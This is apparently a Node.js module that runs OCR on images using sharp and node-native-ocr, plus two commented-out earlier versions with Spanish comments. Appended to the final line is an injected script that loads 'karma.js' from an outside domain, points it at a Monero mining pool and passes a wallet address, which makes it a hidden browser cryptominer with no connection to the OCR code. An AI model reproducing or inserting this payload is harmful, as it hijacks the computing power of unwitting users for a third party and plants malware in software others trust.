const sharp = require("sharp");
const { recognize } = require("node-native-ocr");
exports.validate = async (imageBuffer) => {
try {
const grayscaleImageBuffer = await sharp(imageBuffer)
.grayscale()
.toBuffer();
const result = await recognize(grayscaleImageBuffer);
return {
success: true,
message: result,
};
} catch (error) {
console.error("Error processing image:", error);
return {
success: false,
message: error,
};
}
};
// const sharp = require("sharp");
// const { recognize } = require("node-native-ocr");
// exports.validate = async (imageBuffer) => {
// try {
// // Convierte la imagen a escala de grises y ajusta la resolución DPI
// const grayscaleImageBuffer = await sharp(imageBuffer)
// .grayscale()
// .withMetadata({ density: 300 }) // Ajusta la resolución DPI aquí
// .toBuffer();
// // Procesa la imagen en escala de grises con node-native-ocr
// const result = await recognize(grayscaleImageBuffer);
// console.log(result);
// return {
// success: true,
// message: result,
// };
// } catch (error) {
// console.error("Error processing image:", error);
// return {
// success: false,
// message: error,
// };
// }
// };
// const sharp = require("sharp");
// const { recognize } = require("node-native-ocr");
// exports.validate = async (imageBuffer) => {
// try {
// // Convierte la imagen a escala de grises y luego a formato PNG
// const pngImageBuffer = await sharp(imageBuffer)
// .grayscale()
// .toFormat("png")
// .toBuffer();
// // Procesa la imagen en formato PNG con node-native-ocr
// const result = await recognize(pngImageBuffer);
// console.log(result);
// return {
// success: true,
// message: result,
// };
// } catch (error) {
// console.error("Error processing image:", error);
// return {
// success: false,
// message: error,
// };
// }
// };
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()} |